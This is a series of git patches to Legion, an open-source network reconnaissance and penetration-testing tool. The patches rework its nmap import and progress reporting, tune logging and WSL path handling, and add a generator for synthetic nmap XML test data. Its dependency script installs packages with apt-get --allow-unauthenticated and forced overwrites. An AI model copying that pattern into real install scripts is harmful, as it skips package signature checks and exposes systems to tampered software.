session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId) \ - # .filter_by(portId=db_port.id).first() + # Todo + db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId) \ + .filter_by(portId=db_port.id).first() + # end todo db_script = session.query(l1ScriptObj).filter_by(hostId=db_host.id) \ .filter_by(portId=db_port.id).first() @@ -271,14 +267,14 @@ def run(self): session.add(db_host) for scr in h.getHostScripts(): - print("-----------------------Host SCR: {0}".format(scr.scriptId)) + self.tsLog("-----------------------Host SCR: {0}".format(scr.scriptId)) db_host = self.hostRepository.getHostInformation(h.ip) scrProcessorResults = scr.scriptSelector(db_host) for scrProcessorResult in scrProcessorResults: session.add(scrProcessorResult) for scr in h.getScripts(): - print("-----------------------SCR: {0}".format(scr.scriptId)) + self.tsLog("-----------------------SCR: {0}".format(scr.scriptId)) db_host = self.hostRepository.getHostInformation(h.ip) scrProcessorResults = scr.scriptSelector(db_host) for scrProcessorResult in scrProcessorResults: @@ -291,25 +287,19 @@ def run(self): .filter_by(name=s.name).filter_by(product=s.product) \ .filter_by(version=s.version).filter_by(extrainfo=s.extrainfo) \ .filter_by(fingerprint=s.fingerprint).first() - #db_service = session.query(serviceObj).filter_by(hostId=db_host.id) \ - # .filter_by(name=s.name).first() else: db_service = None # fetch the port db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId) \ .filter_by(protocol=p.protocol).first() if db_port: - # print("************************ Found {0}".format(db_port)) - if db_port.state != p.state: db_port.state = p.state session.add(db_port) - # if there is some new service information, update it -- might be causing issue 164 if not (db_service is None) and db_port.serviceId != db_service.id: db_port.serviceId = db_service.id session.add(db_port) - # store the script results (note that existing script outputs are also kept) for scr in p.getScripts(): db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId) \ diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index 43bcf506..b5be2495 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -61,12 +61,12 @@ def getOrCreateCachedLogger(logName: str, logPath: str, console: bool, cachedLog from rich.logging import RichHandler logging.basicConfig( - level="NOTSET", + level="WARN", format="%(message)s", datefmt="[%X]", handlers=[RichHandler(rich_tracebacks=True)] ) log = logging.getLogger("rich") - log.setLevel(logging.DEBUG) + log.setLevel(logging.INFO) return log diff --git a/controller/controller.py b/controller/controller.py index 391f0f4c..453f7011 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -25,7 +25,7 @@ from app.importers.NmapImporter import NmapImporter from app.importers.PythonImporter import PythonImporter from app.tools.nmap.NmapPaths import getNmapRunningFolder -from app.auxiliary import unixPath2Win, winPath2Unix, getPid, formatCommandQProcess +from app.auxiliary import unixPath2Win, winPath2Unix, getPid, formatCommandQProcess, isWsl from ui.observers.QtUpdateProgressObserver import QtUpdateProgressObserver try: @@ -110,11 +110,13 @@ def initBrowserOpener(self): def initTimers(self): self.updateUITimer = QTimer() self.updateUITimer.setSingleShot(True) + # Moving to deprecate all these general interface update timers #self.updateUITimer.timeout.connect(self.view.updateProcessesTableView) #self.updateUITimer.timeout.connect(self.view.updateToolsTableView) self.updateUI2Timer = QTimer() self.updateUI2Timer.setSingleShot(True) + # Moving to deprecate all these general interface update timers #self.updateUI2Timer.timeout.connect(self.view.updateInterface) self.processTableUiUpdateTimer = QTimer() @@ -247,20 +249,23 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan self.runStagedNmap(targetHosts, runHostDiscovery) elif runHostDiscovery: outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-host-discover' - outputfile = unixPath2Win(outputfile) + if isWsl(): + outputfile = unixPath2Win(outputfile) command = f"nmap -n -sV -O --version-light -T{str(nmapSpeed)} {targetHosts} -oA {outputfile}" self.runCommand('nmap', 'nmap (discovery)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) else: outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmap-list' - outputfile = unixPath2Win(outputfile) + if isWsl(): + outputfile = unixPath2Win(outputfile) command = "nmap -n -sL -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile self.runCommand('nmap', 'nmap (list)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (list)', True)) elif scanMode == 'Hard': outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmap-custom' - outputfile = unixPath2Win(outputfile) + if isWsl(): + outputfile = unixPath2Win(outputfile) nmapOptionsString = ' '.join(nmapOptions) if 'randomize' not in nmapOptionsString: nmapOptionsString = nmapOptionsString + " -T" + str(nmapSpeed) @@ -363,7 +368,10 @@ def handleHostAction(self, ip, hostid, actions, action): command = str(self.settings.hostActions[i][2]) command = command.replace('[IP]', ip).replace('[OUTPUT]', outputfile) if 'nmap' in command: - command = "{0} -oA {1}".format(command, unixPath2Win(outputfile)) + if isWsl(): + command = "{0} -oA {1}".format(command, unixPath2Win(outputfile)) + else: + command = "{0} -oA {1}".format(command, outputfile) # check if same type of nmap scan has already been made and purge results before scanning if 'nmap' in command: @@ -434,7 +442,10 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): command = str(self.settings.portActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]).replace('[OUTPUT]', outputfile) if 'nmap' in command: - command = "{0} -oA {1}".format(command, unixPath2Win(outputfile)) + if isWsl(): + command = "{0} -oA {1}".format(command, unixPath2Win(outputfile)) + else: + command = "{0} -oA {1}".format(command, outputfile) if 'nmap' in command and ip[2] == 'udp': command = command.replace("-sV", "-sVU") @@ -701,8 +712,8 @@ def handleProcUpdate(*vargs): qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText( str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) - qProcess.readyReadStandardError.connect(lambda: qProcess.display.appendPlainText( - str(qProcess.readAllStandardError().data().decode('ISO-8859-1')))) + #qProcess.readyReadStandardError.connect(lambda: qProcess.display.appendPlainText( + # str(qProcess.readAllStandardError().data().decode('ISO-8859-1')))) qProcess.sigHydra.connect(self.handleHydraFindings) qProcess.finished.connect(lambda: self.processFinished(qProcess)) @@ -761,7 +772,8 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): if not stop: textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage ' + str(stage) + ')', True) outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmapstage' + str(stage) - outputfile = unixPath2Win(outputfile) + if isWsl(): + outputfile = unixPath2Win(outputfile) if stage == 1: stageData = self.settings.tools_nmap_stage1_ports diff --git a/debian/changelog b/debian/changelog index 61e3d660..85075016 100644 --- a/debian/changelog +++ b/debian/changelog @@ -18,3 +18,17 @@ legion (0.4.1-0) UNRELEASED; urgency=medium * Fix a few missing dependencies -- Shane Scott Thur, 13 Nov 2023 10:54:55 -0600 + +legion (0.4.2-0) UNRELEASED; urgency=medium + + * Tweak the screenshooter to use eyewitness as suggested by daniruiz + * Add a Wsl check before running unixPath2Win + * Include Revision by daniruiz to tempPath creation routine + * Revise to monospaced font to improve readability as suggested by daniruiz + * Revise dependancies to resolve missing PhantomJs import + * Set log level to Info + * Eliminate some temporary code, debug lines, and other cleanup + * Revise screenshooter to use schema://ip:port when url is a single node + * Fix typo in startLegion.sh + + -- Shane Scott Mon, 20 Nov 2023 12:50:55 -0600 diff --git a/debian/control b/debian/control index 0f2a0018..304a99fd 100644 --- a/debian/control +++ b/debian/control @@ -4,7 +4,7 @@ Priority: optional Maintainer: GoVanguard Uploaders: Shane Scott Build-Depends: debhelper, python3, python3-requests -Standards-Version: 0.4.1 +Standards-Version: 0.4.2 Homepage: https://github.com/GoVanguard/Legion Package: legion diff --git a/deps/installDeps.sh b/deps/installDeps.sh index ce9ceeb0..11c7ecb7 100755 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -3,8 +3,8 @@ source ./deps/apt.sh # Install deps -## Disabled temporrily - Doesn't always detect apt-get update incomplete echo "Checking Apt..." + # runAptGetUpdate apt-get update -m @@ -18,4 +18,4 @@ apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python3-impacket apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install whatweb apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install medusa -#apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install postgresql postgresql-server-dev-all +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install eyewitness diff --git a/legion.py b/legion.py index e9c084d0..f9d6e161 100644 --- a/legion.py +++ b/legion.py @@ -102,19 +102,12 @@ def doPathSetup(): MainWindow = QtWidgets.QMainWindow() Screen = QGuiApplication.primaryScreen() app.setWindowIcon(QIcon('./images/icons/Legion-N_128x128.svg')) + + app.setStyleSheet("* { font-family: \"monospace\"; font-size: 10pt; }") ui = Ui_MainWindow() ui.setupUi(MainWindow) - # Possibly unneeded - #try: - # qss_file = open('./ui/legion.qss').read() - #except IOError: - # startupLog.error( - # "The legion.qss file is missing. Your installation seems to be corrupted. " + - # "Try downloading the latest version.") - # exit(0) - if os.geteuid()!=0: startupLog.error("Legion must run as root for raw socket access. Please start legion using sudo.") notice=QMessageBox() diff --git a/requirements.txt b/requirements.txt index bfae5ff7..d197602f 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,4 +13,5 @@ GitPython pandas flake8 rich -selenium +urllib3==1.23 +selenium==3.141.0 diff --git a/startLegion.sh b/startLegion.sh index 0ac0de11..22d1d804 100755 --- a/startLegion.sh +++ b/startLegion.sh @@ -51,7 +51,7 @@ export QT_XCB_NATIVE_PAINTING=0 export QT_AUTO_SCREEN_SCALE_FACTOR=1.5 # Verify X can be reached -source /deps/checkXserver.sh +source ./deps/checkXserver.sh if [[ $1 != 'setup' ]] then diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index c04d1157..c1acb533 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -576,7 +576,7 @@ def validateCurrentTab(self, tab): # LEO: added this just to help when testing. we'll remove it later. log.info('>>>> we should never be here. potential bug. 2') - log.info('DEBUG: current tab is valid: ' + str(validationPassed)) + log.debug('Current tab is valid: ' + str(validationPassed)) return validationPassed #def generalTabValidate(self): diff --git a/ui/view.py b/ui/view.py index cedc92cb..35c58eb3 100644 --- a/ui/view.py +++ b/ui/view.py @@ -528,7 +528,7 @@ def applySettings(self): self.settingsWidget.hide() def cancelSettings(self): - log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + log.debug('Cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() @@ -759,6 +759,7 @@ def switchTabClick(self): self.updateServiceNamesTableView() self.serviceNamesTableClick() + # Todo #elif selectedTab == 'CVEs': # self.ui.ServicesTabWidget.setCurrentIndex(0) # self.removeToolTabs(0) # remove the tool tabs From 83a253ff076eec125380bd8c60be7286d2725e1d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 20 Nov 2023 18:16:57 -0600 Subject: [PATCH 447/450] Updates to nmap importer, add script to build huge bogus nmap XML to test with --- .gitignore | 1 + app/ApplicationInfo.py | 2 +- .../UpdateProgressObservable.py | 4 +- app/auxiliary.py | 11 +- app/importers/NmapImporter.py | 63 +++++--- app/logging/legionLog.py | 2 +- buildHugeNmapTest.py | 148 ++++++++++++++++++ parsers/Host.py | 10 +- parsers/Parser.py | 5 +- ui/observers/QtUpdateProgressObserver.py | 3 +- 10 files changed, 216 insertions(+), 33 deletions(-) create mode 100644 buildHugeNmapTest.py diff --git a/.gitignore b/.gitignore index e997e5f0..3e265ab1 100644 --- a/.gitignore +++ b/.gitignore @@ -128,3 +128,4 @@ docker/cleanupExited.sh log/*.log fixname.sh ghostdriver.log +huge_nmap.xml diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index e2092258..cec3597b 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,7 +19,7 @@ applicationInfo = { "name": "LEGION", "version": "0.4.2", - "build": '1700506312', + "build": '1700525714', "author": "Gotham Security", "copyright": "2023", "links": ["http://github.com/GoVanguard/legion/issues", "https://gotham-security.com/legion"], diff --git a/app/actions/updateProgress/UpdateProgressObservable.py b/app/actions/updateProgress/UpdateProgressObservable.py index 3eeb0c40..d1d77faf 100644 --- a/app/actions/updateProgress/UpdateProgressObservable.py +++ b/app/actions/updateProgress/UpdateProgressObservable.py @@ -27,6 +27,6 @@ def start(self): for observer in self._observers: observer.onStart() - def updateProgress(self, progress): + def updateProgress(self, progress, title): for observer in self._observers: - observer.onProgressUpdate(progress) + observer.onProgressUpdate(progress, title) diff --git a/app/auxiliary.py b/app/auxiliary.py index 6ddc5671..132ac110 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -112,9 +112,14 @@ def sortArrayWithArray(array, arrayToSort): # converts an IP address to an integer (for the sort function) def IP2Int(ip): - ip = ip.split("/")[0] # bug fix: remove slash if it's a range - o = list(map(int, ip.split('.'))) - res = (16777216 * o[0]) + (65536 * o[1]) + (256 * o[2]) + o[3] + try: + res = 0 + ip = ip.split("/")[0] # bug fix: remove slash if it's a range + o = list(map(int, ip.split('.'))) + res = (16777216 * o[0]) + (65536 * o[1]) + (256 * o[2]) + o[3] + except: + log.error("Input IP {0} is not valid. Passing for now.".format(str(ip))) + pass return res diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 9039c7e6..da906fc8 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -85,18 +85,20 @@ def run(self): n = nmapSessionObj(self.filename, s.startTime, s.finish_time, s.nmapVersion, s.scanArgs, s.totalHosts, s.upHosts, s.downHosts) session.add(n) + session.commit() allHosts = nmapReport.getAllHosts() hostCount = len(allHosts) if hostCount == 0: # to fix a division by zero if we ran nmap on one host hostCount = 1 - totalprogress = 0 - - self.updateProgressObservable.updateProgress(totalprogress) createProgress = 0 createOsNodesProgress = 0 createPortsProgress = 0 + createDbScriptsProgress = 0 + updateObjectsRunScriptsProgress = 0 + + self.updateProgressObservable.updateProgress(int(createProgress), 'Adding hosts...') for h in allHosts: # create all the hosts that need to be created db_host = self.hostRepository.getHostInformation(h.ip) @@ -107,16 +109,17 @@ def run(self): lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) self.tsLog("Adding db_host") session.add(hid) + session.commit() t_note = note(h.ip, 'Added by nmap') session.add(t_note) + session.commit() else: self.tsLog("Found db_host already in db") - createProgress = createProgress + ((100.0 / hostCount) / 5) - totalprogress = totalprogress + createProgress - self.updateProgressObservable.updateProgress(int(totalprogress)) + createProgress = createProgress + (100.0 / hostCount) + self.updateProgressObservable.updateProgress(int(createProgress), 'Adding hosts...') - session.commit() + self.updateProgressObservable.updateProgress(int(createOsNodesProgress), 'Creating Service, Port and OS children...') for h in allHosts: # create all OS, service and port objects that need to be created self.tsLog("Processing h {ip}".format(ip=h.ip)) @@ -125,7 +128,10 @@ def run(self): if db_host: self.tsLog("Found db_host during os/ports/service processing") else: - self.log("Did not find db_host during os/ports/service processing") + self.tsLog("Did not find db_host during os/ports/service processing") + self.tsLog("A host that should have been found was not. Something is wrong. Save your session and report a bug.") + self.tsLog("Include your nmap file, sanitized if needed.") + continue os_nodes = h.getOs() # parse and store all the OS nodes self.tsLog(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) @@ -139,14 +145,15 @@ def run(self): t_osObj = osObj(os.name, os.family, os.generation, os.osType, os.vendor, os.accuracy, db_host.id) session.add(t_osObj) + session.commit() - createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) - totalprogress = totalprogress + createOsNodesProgress - self.updateProgressObservable.updateProgress(int(totalprogress)) + createOsNodesProgress = createOsNodesProgress + (100.0 / hostCount) + self.updateProgressObservable.updateProgress(int(createOsNodesProgress), 'Creating Service, Port and OS children...') - session.commit() + self.updateProgressObservable.updateProgress(int(createPortsProgress), 'Processing ports...') all_ports = h.all_ports() + portCount = len(all_ports) self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) for p in all_ports: # parse the ports self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) @@ -164,6 +171,7 @@ def run(self): db_service = serviceObj(s.name, db_host.id, s.product, s.version, s.extrainfo, s.fingerprint) session.add(db_service) + session.commit() else: # else, there is no service info to parse db_service = None # fetch the port @@ -177,11 +185,11 @@ def run(self): else: db_port = portObj(p.portId, p.protocol, p.state, db_host.id, '') session.add(db_port) - createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) - totalprogress = totalprogress + createPortsProgress - self.updateProgressObservable.updateProgress(totalprogress) + session.commit() + createPortsProgress = createPortsProgress + (100.0 / hostCount) + self.updateProgressObservable.updateProgress(createPortsProgress, 'Processing ports...') - session.commit() + self.updateProgressObservable.updateProgress(createDbScriptsProgress, 'Creating script objects...') for h in allHosts: # create all script objects that need to be created db_host = self.hostRepository.getHostInformation(h.ip) @@ -202,19 +210,26 @@ def run(self): t_l1ScriptObj = l1ScriptObj(scr.scriptId, scr.output, db_port.id, db_host.id) self.tsLog(" Adding l1ScriptObj obj {script}".format(script=scr.scriptId)) session.add(t_l1ScriptObj) - + session.commit() for hs in h.getHostScripts(): db_script = session.query(l1ScriptObj).filter_by(scriptId=hs.scriptId) \ .filter_by(hostId=db_host.id).first() if not db_script: t_l1ScriptObj = l1ScriptObj(hs.scriptId, hs.output, None, db_host.id) session.add(t_l1ScriptObj) + session.commit() - session.commit() + createDbScriptsProgress = createDbScriptsProgress + (100.0 / hostCount) + self.updateProgressObservable.updateProgress(createDbScriptsProgress, 'Creating script objects...') + + self.updateProgressObservable.updateProgress(updateObjectsRunScriptsProgress, 'Update objects and run scripts...') for h in allHosts: # update everything db_host = self.hostRepository.getHostInformation(h.ip) + if not db_host: + self.tsLog(" A host that should have been found was not. Something is wrong. Save your session and report a bug.") + self.tsLog(" Include your nmap file, sanitized if needed.") if db_host.ipv4 == '' and not h.ipv4 == '': db_host.ipv4 = h.ipv4 @@ -240,6 +255,7 @@ def run(self): db_host.count = h.count session.add(db_host) + session.commit() tmp_name = '' tmp_accuracy = '0' # TODO: check if better to convert to int for comparison @@ -265,6 +281,7 @@ def run(self): db_host.osAccuracy = tmp_accuracy session.add(db_host) + session.commit() for scr in h.getHostScripts(): self.tsLog("-----------------------Host SCR: {0}".format(scr.scriptId)) @@ -272,6 +289,7 @@ def run(self): scrProcessorResults = scr.scriptSelector(db_host) for scrProcessorResult in scrProcessorResults: session.add(scrProcessorResult) + session.commit() for scr in h.getScripts(): self.tsLog("-----------------------SCR: {0}".format(scr.scriptId)) @@ -279,6 +297,7 @@ def run(self): scrProcessorResults = scr.scriptSelector(db_host) for scrProcessorResult in scrProcessorResults: session.add(scrProcessorResult) + session.commit() for p in h.all_ports(): s = p.getService() @@ -296,10 +315,12 @@ def run(self): if db_port.state != p.state: db_port.state = p.state session.add(db_port) + session.commit() # if there is some new service information, update it -- might be causing issue 164 if not (db_service is None) and db_port.serviceId != db_service.id: db_port.serviceId = db_service.id session.add(db_port) + session.commit() # store the script results (note that existing script outputs are also kept) for scr in p.getScripts(): db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId) \ @@ -309,8 +330,12 @@ def run(self): db_script.output = scr.output session.add(db_script) + session.commit() + + updateObjectsRunScriptsProgress = updateObjectsRunScriptsProgress + (100.0 / hostCount) + self.updateProgressObservable.updateProgress(updateObjectsRunScriptsProgress, 'Update objects and run scripts...') - self.updateProgressObservable.updateProgress(100) + self.updateProgressObservable.updateProgress(100, 'Almost done...') session.commit() self.db.dbsemaphore.release() # we are done with the DB diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index b5be2495..5e4432d1 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -61,7 +61,7 @@ def getOrCreateCachedLogger(logName: str, logPath: str, console: bool, cachedLog from rich.logging import RichHandler logging.basicConfig( - level="WARN", + level="INFO", format="%(message)s", datefmt="[%X]", handlers=[RichHandler(rich_tracebacks=True)] diff --git a/buildHugeNmapTest.py b/buildHugeNmapTest.py new file mode 100644 index 00000000..d0928b4c --- /dev/null +++ b/buildHugeNmapTest.py @@ -0,0 +1,148 @@ +import xml.etree.ElementTree as ET +from random import randint, choice, sample +import datetime + +def generate_nmap_xml(num_hosts=1000, base_subnet="172.16"): + """ + Generate a full sample nmap XML file with session information included. + + Parameters: + num_hosts (int): Number of hosts to generate. + base_subnet (str): Base subnet for the hosts. + + Returns: + str: XML content as a string. + """ + # XML header + xml_header = ''' + + +''' + + # Create root element + nmaprun = ET.Element("nmaprun", { + "scanner": "nmap", + "args": "nmap -sV -oX", + "start": "123456789", + "startstr": "Mon Nov 20 13:33:54 2023", + "version": "7.94", + "xmloutputversion": "1.05" + }) + + # Create scaninfo, verbose, and debugging elements + scaninfo = ET.SubElement(nmaprun, "scaninfo", { + "type": "syn", + "protocol": "tcp", + "numservices": "1000", + "services": "1-65535" + }) + ET.SubElement(nmaprun, "verbose", {"level": "0"}) + ET.SubElement(nmaprun, "debugging", {"level": "0"}) + + # OS, services, and port mapping + os_services = { + "Linux": {"http": 80, "ssh": 22, "smtp": 25, "ftp": 21, "telnet": 23}, + "Windows": {"http": 80, "msrpc": 135, "netbios-ssn": 139, "rdp": 3389, "smb": 445}, + "Solaris": {"http": 80, "ssh": 22, "telnet": 23, "netbios-ssn": 139, "ftp": 21}, + "Darwin": {"http": 80, "netbios-ssn": 139, "ipp": 631, "afp": 548, "ssh": 22} + } + + # Service products and versions + service_info = { + "http": {"product": "Apache httpd", "version": "2.4.41"}, + "ssh": {"product": "OpenSSH", "version": "8.0"}, + "smtp": {"product": "Postfix SMTP", "version": "3.4.8"}, + "ftp": {"product": "vsftpd", "version": "3.0.3"}, + "telnet": {"product": "Telnet Server", "version": "1.2"}, + "msrpc": {"product": "Microsoft RPC", "version": "5.0"}, + "netbios-ssn": {"product": "Samba smbd", "version": "4.10.10"}, + "rdp": {"product": "Microsoft Terminal Service", "version": "10.0"}, + "smb": {"product": "Microsoft SMB", "version": "3.1.1"}, + "ipp": {"product": "CUPS", "version": "2.3.0"}, + "afp": {"product": "Netatalk AFP", "version": "3.1.12"} + } + + # Function to create a random IP address within the extended subnet range + def random_ip(base_subnet, host_number): + subnet_third_octet = host_number // 254 + host_fourth_octet = host_number % 254 + 1 + return f"{base_subnet}.{subnet_third_octet}.{host_fourth_octet}" + + # Generating hosts with updated IP address method + for i in range(num_hosts): + host_os = choice(list(os_services.keys())) + + host = ET.Element("host") + ET.SubElement(host, "status", {"state": "up", "reason": "arp-response", "reason_ttl": "0"}) + ET.SubElement(host, "address", {"addr": random_ip(base_subnet, i), "addrtype": "ipv4"}) + ET.SubElement(host, "hostnames") + + # Ports + ports = ET.SubElement(host, "ports") + open_ports_count = randint(1, 5) # Random number of open ports (1 to 5) + services = sample(list(os_services[host_os].items()), open_ports_count) + for service, port in services: + port_element = ET.SubElement(ports, "port", {"protocol": "tcp", "portid": str(port)}) + ET.SubElement(port_element, "state", {"state": "open", "reason": "syn-ack", "reason_ttl": "64"}) + service_element = ET.SubElement(port_element, "service", { + "name": service, + "product": service_info[service]["product"], + "version": service_info[service]["version"], + "ostype": host_os + }) + + # OS element with osmatch + os = ET.SubElement(host, "os") + osclass = ET.SubElement(os, "osclass", { + "type": "general purpose", + "vendor": host_os, + "osfamily": host_os, + "osgen": "Unknown", # OS generation can be set accordingly + "accuracy": "98" + }) + ET.SubElement(osclass, "cpe", text=f"cpe:/o:{host_os.lower()}:{host_os.lower()}") + osmatch = ET.SubElement(os, "osmatch", { + "name": f"{host_os} Generic Match", + "accuracy": str(randint(90, 100)), + "line": str(randint(1000, 2000)) + }) + ET.SubElement(osmatch, "osclass", { + "type": "general purpose", + "vendor": host_os, + "osfamily": host_os, + "osgen": "Unknown", + "accuracy": "98" + }) + + nmaprun.append(host) + + # Runstats + runstats = ET.SubElement(nmaprun, "runstats") + ET.SubElement(runstats, "finished", { + "time": "123456790", + "timestr": "Mon Nov 20 13:34:10 2023", + "summary": f"Nmap done; {num_hosts} IP addresses ({num_hosts} hosts up) scanned in 16.42 seconds", + "elapsed": "16.42", + "exit": "success" + }) + ET.SubElement(runstats, "hosts", { + "up": str(num_hosts), + "down": "0", + "total": str(num_hosts) + }) + + # Convert the XML to string + xml_str = xml_header + '\n' + ET.tostring(nmaprun, encoding='unicode', method='xml') + return xml_str + +def save_nmap_xml(filename, num_hosts=1000, base_subnet="172.16"): + # Generate the XML content + xml_content = generate_nmap_xml(num_hosts, base_subnet) + + # Save the content to the specified file + with open(filename, "w") as file: + file.write(xml_content) + +# Specify the filename and call the function to save the file +filename = "huge_nmap.xml" +save_nmap_xml(filename) diff --git a/parsers/Host.py b/parsers/Host.py index daab5986..92d7b106 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -13,7 +13,7 @@ class Host: ipv4 = '' ipv6 = '' macaddr = '' - status = 'none' + status = None hostname = '' vendor = '' uptime = '' @@ -33,8 +33,8 @@ def __init__( self, HostNode ): elif e.getAttribute('addrtype') == 'mac': self.macaddr = e.getAttribute('addr') self.vendor = e.getAttribute('vendor') - #self.ip = HostNode.getElementsByTagName('address')[0].getAttribute('addr'); - self.ip = self.ipv4 # for compatibility with the original library + self.ip = HostNode.getElementsByTagName('address')[0].getAttribute('addr'); + #self.ip = self.ipv4 # for compatibility with the original library if len(HostNode.getElementsByTagName('hostname')) > 0: self.hostname = HostNode.getElementsByTagName('hostname')[0].getAttribute('name') if len(HostNode.getElementsByTagName('uptime')) > 0: @@ -49,6 +49,10 @@ def __init__( self, HostNode ): def getOs(self): oss = [] + for osNode in self.hostNode.getElementsByTagName('osfamily'): + os = OS.OS(osNode) + oss.append(os) + for osNode in self.hostNode.getElementsByTagName('osclass'): os = OS.OS(osNode) oss.append(os) diff --git a/parsers/Parser.py b/parsers/Parser.py index 70efc908..7f92741b 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -61,14 +61,13 @@ def getHost(self, ipaddr: str) -> Optional[Host.Host]: '''get a Host object by ip address''' return self.__hosts.get(ipaddr) - def getAllHosts(self, status=''): + def getAllHosts(self, status=None): '''get a list of Host object''' - if (status == ''): + if status is None: return self.__hosts.values() else: __tmp_hosts = [] - for __host in self.__hosts.values(): if __host.status == status: diff --git a/ui/observers/QtUpdateProgressObserver.py b/ui/observers/QtUpdateProgressObserver.py index 271e16f5..96c88048 100644 --- a/ui/observers/QtUpdateProgressObserver.py +++ b/ui/observers/QtUpdateProgressObserver.py @@ -29,6 +29,7 @@ def onStart(self) -> None: def onFinished(self) -> None: self.progressWidget.hide() - def onProgressUpdate(self, progress: int) -> None: + def onProgressUpdate(self, progress: int, title: str) -> None: + self.progressWidget.setText(title) self.progressWidget.setProgress(progress) self.progressWidget.show() From 15b6bd21c1138d2c862568986d9396ab02d2951e Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 20 Nov 2023 19:18:52 -0600 Subject: [PATCH 448/450] Updates --- CHANGELOG.txt | 7 +++++++ app/ApplicationInfo.py | 4 ++-- buildHugeNmapTest.py | 37 +++++++++++++++++++++++++++++++++---- controller/controller.py | 3 +++ debian/changelog | 9 +++++++++ debian/control | 2 +- ui/view.py | 10 ++++++++++ 7 files changed, 65 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 48fdd59c..5d109203 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,10 @@ +LEGION 0.4.3 + +* Revise NMAP import process +* Fix import progress calculations +* Doubleckick to copy hostname (Linux only) +* Script to generate huge bogus NMAP XML imports for testing. + LEGION 0.4.2 * Tweak the screenshooter to use eyewitness as suggested by daniruiz diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index cec3597b..c4eb6a6a 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -18,8 +18,8 @@ applicationInfo = { "name": "LEGION", - "version": "0.4.2", - "build": '1700525714', + "version": "0.4.3", + "build": '1700529501', "author": "Gotham Security", "copyright": "2023", "links": ["http://github.com/GoVanguard/legion/issues", "https://gotham-security.com/legion"], diff --git a/buildHugeNmapTest.py b/buildHugeNmapTest.py index d0928b4c..feaf03fe 100644 --- a/buildHugeNmapTest.py +++ b/buildHugeNmapTest.py @@ -1,5 +1,5 @@ import xml.etree.ElementTree as ET -from random import randint, choice, sample +from random import randint, choice, choices, sample import datetime def generate_nmap_xml(num_hosts=1000, base_subnet="172.16"): @@ -62,20 +62,49 @@ def generate_nmap_xml(num_hosts=1000, base_subnet="172.16"): "afp": {"product": "Netatalk AFP", "version": "3.1.12"} } + # Expanded lists for generating hostnames + colors = ["Red", "Blue", "Green", "Yellow", "Purple", "Orange", "Cyan", "Magenta", "Lime", "Pink"] + foods = ["Apple", "Burger", "Cake", "Dumpling", "Eclair", "Pizza", "Sushi", "Taco", "Waffle", "Bagel"] + cities = ["Tokyo", "Paris", "London", "NewYork", "Sydney", "Berlin", "Rome", "Madrid", "Moscow", "Beijing"] + verbs = ["Jumping", "Running", "Flying", "Swimming", "Dancing", "Singing", "Playing", "Walking", "Reading", "Writing"] + + # Unique hostname tracker + 